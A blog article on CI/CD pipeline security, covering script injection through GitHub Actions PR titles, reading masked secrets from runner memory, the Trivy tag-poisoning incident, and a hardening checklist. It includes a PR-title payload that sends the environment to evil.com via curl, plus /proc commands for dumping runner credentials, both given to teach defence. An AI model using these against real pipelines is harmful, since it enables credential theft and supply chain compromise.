The secrets in your CI/CD pipeline marked as "masked" are not actually hidden.
An attacker with code execution on your runner can dump the process memory, read the raw unmasked values, and exfiltrate every credential your pipeline has ever touched. The masking only applies to logs. Memory doesn't care about your UI settings.
That's the first thing most developers get wrong about pipeline security.
Here's the second: your CI/CD pipeline almost certainly has more access to production than most of your engineers. It holds cloud credentials, database passwords, signing keys, and deployment tokens. It can push code directly to production. It can trigger infrastructure changes. It runs automatically, on every commit, often without a second pair of eyes.
And in most organisations, it's the least hardened system in the stack.
Attackers know this. They have tooling built specifically for it. The pipeline is the target.
Why Pipelines Are "Keys to the Kingdom"
Traditional attack paths are getting harder. Perimeters are better monitored. MFA is widespread. EDR tools catch lateral movement patterns that would have gone unnoticed five years ago.
CI/CD pipelines are different. They're designed to have privileged access. They're designed to make automated, trusted changes to production infrastructure. The access is the feature.
Which means compromising a pipeline isn't about bypassing security — it's about abusing legitimate functionality with stolen or injected credentials.
And the blast radius is brutal. A pipeline with access to your AWS environment, your Docker registry, your NPM publishing token, and your production Kubernetes cluster isn't one compromised secret. It's everything.
Let's go through exactly how attackers get in.
Attack #1: Script Injection via Pull Request Titles
This one is embarrassingly simple. And it works.
GitHub Actions and GitLab CI both support referencing context values from the repository — PR titles, commit messages, branch names, issue bodies — directly inside pipeline scripts.
Here's the vulnerable pattern:
# Dangerous GitHub Actions workflow
on:
pull_request_target:
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Echo PR title
run: |
echo "Building PR: ${{ github.event.pull_request.title }}"
The ${{ ... }} syntax is evaluated before the shell runs. It's direct interpolation into the script. It's not an environment variable. It's template substitution.
So an attacker creates a PR with this title:
"; curl https://evil.com/$(cat /proc/self/environ | base64) #
The resulting shell script becomes:
echo "Building PR: "; curl https://evil.com/$(cat /proc/self/environ | base64) #"
The echo exits. The curl runs. Every environment variable — including every secret your pipeline loaded — just got base64-encoded and sent to an attacker's server.
PR titles. Commit messages. Branch names. Issue bodies. All of them. If they can be created by an external contributor and they touch ${{ ... }} syntax inside a run: block, you have a script injection surface.
The fix — intermediate environment variables:
steps:
- name: Echo PR title
env:
PR_TITLE: ${{ github.event.pull_request.title }} # Assigned to env var first
run: |
echo "Building PR: $PR_TITLE" # Shell treats this as data, not code
The difference: when the value is assigned to an environment variable and referenced via $PR_TITLE, the shell treats it as a string. It can't break out of the command context. The injection doesn't execute.
One pattern change. Completely different security posture.
The pull_request_target problem specifically: This trigger runs in the context of the base branch, with full repository secrets available, even for PRs from forks. It was introduced for a legitimate reason — allowing workflows to post comments on external PRs. But it's inherently dangerous when it runs arbitrary code from the PR. Review every workflow that uses pull_request_target and ask: does this need to run code from the external branch with access to repository secrets?
Attack #2: Memory Dumping — The One That Breaks "Masked" Secrets
Here's what secret masking actually does: it scans log output for strings that match your secret values and replaces them with ***.
Here's what it doesn't do: anything to the memory where those secrets live at runtime.
When your pipeline loads a secret, it gets stored in the runner process's memory as an environment variable. That memory is readable. The Linux /proc filesystem exposes it.
An attacker with code execution on your runner can do this:
# Get the PID of the runner process
RUNNER_PID=$(pgrep -f "Runner.Worker")
# Read the process environment from memory
cat /proc/$RUNNER_PID/environ | tr '\0' '\n'
# Or dump the process maps for a more comprehensive extraction
cat /proc/$RUNNER_PID/maps
The raw, unmasked credential values come out. Every one of them. AWS_SECRET_ACCESS_KEY. NPM_TOKEN. KUBECONFIG. Whatever your pipeline loaded.
This isn't theoretical. This is a documented, reproducible technique that works against GitHub Actions runners, GitLab CI runners, and most other CI platforms that load secrets as environment variables.
The implication: Once an attacker achieves code execution on a runner — through script injection, a compromised dependency, or any other vector — every secret that pipeline has ever touched should be considered compromised. Not "potentially exposed." Compromised.
What helps:
Use short-lived credentials that are generated at execution time rather than static long-lived secrets. AWS OIDC federation means your pipeline never holds a long-lived AWS_ACCESS_KEY_ID — it requests a time-limited token at runtime using a verifiable identity assertion from GitHub.
# GitHub Actions with OIDC — no static AWS keys stored anywhere
- uses: aws-actions/configure-aws-credentials@v2
with:
role-to-assume: arn:aws:iam::123456789012:role/deploy-role
aws-region: us-east-1
# GitHub provides an OIDC token. AWS issues temporary credentials.
# No secret stored in GitHub. Nothing to dump that lasts beyond the job.
A token that expires in 15 minutes and can only be obtained with a valid OIDC assertion from a specific repository and branch is dramatically harder to weaponize than a static access key that lives in your secrets panel forever.
Use HashiCorp Vault for other secrets. Vault issues dynamic credentials with short TTLs. Your pipeline authenticates to Vault at runtime and retrieves what it needs. Even if the temporary credential gets dumped from memory, it's expired before the attacker can use it.
Attack #3: Supply Chain Compromise — The Trivy Incident
This one is the most ironic breach in DevSecOps history.
Trivy is a container security scanning tool. It's used specifically to harden CI/CD pipelines — scanning container images for known vulnerabilities. It's a security tool, in security pipelines, trusted by security teams.
In the Trivy supply chain attack, an autonomous bot exploited a misconfigured pull_request_target trigger (notice the recurring theme) to steal a personal access token. With that token, the attacker overwrote Trivy's version tags.
Every pipeline running uses: aquasecurity/trivy-action@v0.20.0 — pinned to a mutable tag — was now running the attacker's code.
That tag meant nothing. Tags are mutable. A tag is just a pointer. An attacker with write access to the repository can move the pointer.
The number of projects globally that pin actions to version tags rather than commit SHAs: almost all of them.
What your pipeline probably looks like:
steps:
- uses: actions/checkout@v4 # Mutable tag
- uses: actions/setup-node@v4 # Mutable tag
- uses: aquasecurity/trivy-action@v0.20.0 # Mutable tag — this is the attack surface
What it should look like:
steps:
# Pinned to specific commit SHA — immutable, cannot be overwritten
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0
- uses: aquasecurity/trivy-action@76071ef0d7ec797419534a183b498b4d6366cf38 # v0.20.0
An SHA is a cryptographic hash of the exact code at that commit. It cannot be moved. It cannot be overwritten. If the tag gets poisoned, your pipeline doesn't care — it's pinned to a specific immutable state.
Manually doing this for every action is tedious. Use Ratchet:
# Install Ratchet
go install github.com/sethvargo/ratchet@latest
# Pin all workflow files to SHA hashes automatically
ratchet pin .github/workflows/*.yml
# Update pinned SHAs to latest versions (fetches current hash)
ratchet update .github/workflows/*.yml
One command to pin everything. One command to update. No manual SHA hunting.
The Self-Hosted Runner Problem
GitHub-hosted (ephemeral) runners are provisioned for a job and destroyed when the job completes. The attacker gets code execution, the job ends, the runner is gone. Damage limited to secrets exfiltrated during that job.
Self-hosted runners are persistent. They sit on your infrastructure. They're often inside your corporate network. They often run with elevated privileges.
When an attacker gets code execution on a self-hosted runner, they don't just steal the job's secrets. They have a foothold in your internal network.
The runner-on-runner persistence technique makes this worse: the attacker registers a rogue runner on the compromised host. It registers with your GitLab instance using the stolen credentials. It looks like a legitimate runner. It blends into background processes. When your legitimate job ends, the rogue runner persists — giving the attacker persistent, interactive access that survives indefinitely.
From there: SOCKS proxy setup, lateral movement into internal services, access to anything the self-hosted runner could reach on the internal network.
Recommendations for self-hosted runners:
- Containerize them. A Docker executor limits the attacker to the container, not the host.
- Isolate them from internal network access. The runner needs to reach your registry and deployment targets — not your entire internal subnet.
- Run them in dedicated VMs or pods, not on shared infrastructure.
- Treat any compromise as a full internal incident, not just a pipeline incident.
If you can use GitHub-hosted ephemeral runners, do. The isolation model is meaningfully better.
The Defensive Playbook
Here's the minimum viable hardening checklist for every pipeline:
1. Pin All Actions to SHA, Not Tags
Already covered. Do it now. Use Ratchet.
# Before
- uses: actions/checkout@v4
# After (with Ratchet)
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
2. Use Intermediate Environment Variables for User-Controlled Inputs
Already covered. Never interpolate ${{ github.event.pull_request.title }} directly into a shell command.
# Safe pattern
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "$PR_TITLE"
3. Restrict the GITHUB_TOKEN to Minimum Permissions
By default, the GitHub Actions GITHUB_TOKEN has broad write permissions on the repository. You almost never need all of them.
# Set at the workflow level
permissions:
contents: read # Can read repo content
# No write, no packages, no deployments, no actions — unless you need them
jobs:
build:
permissions:
contents: read
packages: write # Only this job needs package publishing
Scope permissions at the workflow level and override at the job level where you need more. Never leave it at the default broad scope.
4. Implement Egress Filtering
Your runner needs to reach specific endpoints: your registry, your deployment target, maybe a few APIs. It doesn't need unrestricted outbound internet access.
Step Security's Harden Runner implements eBPF-based egress filtering on GitHub Actions runners:
steps:
- uses: step-security/harden-runner@v2
with:
egress-policy: block
allowed-endpoints: >
github.com:443
registry.npmjs.org:443
your-registry.azurecr.io:443
Every outbound connection that isn't on the allowlist gets blocked. An attacker trying to exfiltrate secrets via curl https://evil.com hits a wall. The exfiltration channel doesn't exist.
This is one of the most underused controls in pipeline security. It costs almost nothing to add and eliminates an entire class of exfiltration techniques.
5. Replace Static Secrets with Dynamic Credentials
Static long-lived secrets stored in your pipeline's secret panel are the highest-value credential store in your organisation. They should be empty.
For cloud provider access — use OIDC:
# AWS
- uses: aws-actions/configure-aws-credentials@v2
with:
role-to-assume: ${{ vars.AWS_DEPLOY_ROLE_ARN }}
aws-region: us-east-1
# GCP
- uses: google-github-actions/auth@v2
with:
workload_identity_provider: ${{ vars.GCP_WORKLOAD_IDENTITY_PROVIDER }}
service_account: ${{ vars.GCP_SERVICE_ACCOUNT }}
No static keys. Time-limited tokens. Automatically rotated. If someone dumps memory, the credential is expired before they can use it.
For other secrets — use Vault:
- uses: hashicorp/vault-action@v3
with:
url: https://vault.yourcompany.com
method: jwt
role: deploy-role
secrets: |
secret/data/production/db password | DB_PASSWORD;
secret/data/production/api key | API_KEY;
Vault issues credentials with TTLs. It logs every access. It enforces least-privilege role policies. A compromised pipeline token grants access to exactly what that pipeline's role is allowed to retrieve — nothing more.
6. Audit pull_request_target Triggers
Search every workflow file in your repository for pull_request_target. For each one, ask:
- Does this workflow check out and run code from the external PR?
- Does it have access to repository secrets?
- Does it use
${{ ... }}syntax insiderun:blocks?
If any of those answers are yes, you have a script injection risk from external contributors. Either restructure the workflow to separate the trusted and untrusted parts, or replace pull_request_target with pull_request (which runs in an isolated context without secrets access).
7. Shift Left — Scan Before Merge, Not After Breach
Static analysis, secret scanning, and dependency vulnerability checks belong in the PR gate, not in a post-incident forensic review.
# Secret scanning on every PR
- uses: trufflesecurity/trufflehog@main
with:
path: ./
base: main
head: HEAD
# SAST on every PR
- uses: returntocorp/semgrep-action@v1
with:
config: auto
Failing a PR because it contains a hardcoded credential costs one developer thirty minutes to fix. Finding it in a bug bounty submission costs significantly more.
The Pattern This Reveals
Script injection, memory dumping, supply chain compromise — these aren't zero-days. They're not exotic techniques. They're exploiting conveniences that developers introduced deliberately:
- Referencing PR titles in scripts because it made logging easier.
- Using mutable tags because version numbers are more readable than SHAs.
- Using static long-lived secrets because OIDC setup takes an afternoon.
Every one of these was a tradeoff between developer convenience and security posture. In most cases, nobody explicitly made that tradeoff. It just happened, because the insecure option was easier.
The Trivy incident is the sharpest example. A security tool. Secured by a mutable tag. Compromised via the exact vulnerability it existed to prevent. The irony isn't accidental — it's the direct consequence of a security team treating the tool's own CI/CD as out-of-scope for security review.
Your pipeline is not out-of-scope.
It is, by a significant margin, the highest-privilege system in your infrastructure. It deserves the same security rigour as your production environment — because it has direct, trusted access to your production environment.
Start with SHA pinning and intermediate environment variables. Those two changes alone close the most commonly exploited attack surfaces. Do it this week, before someone else does it for you. 🔒
Top comments (0)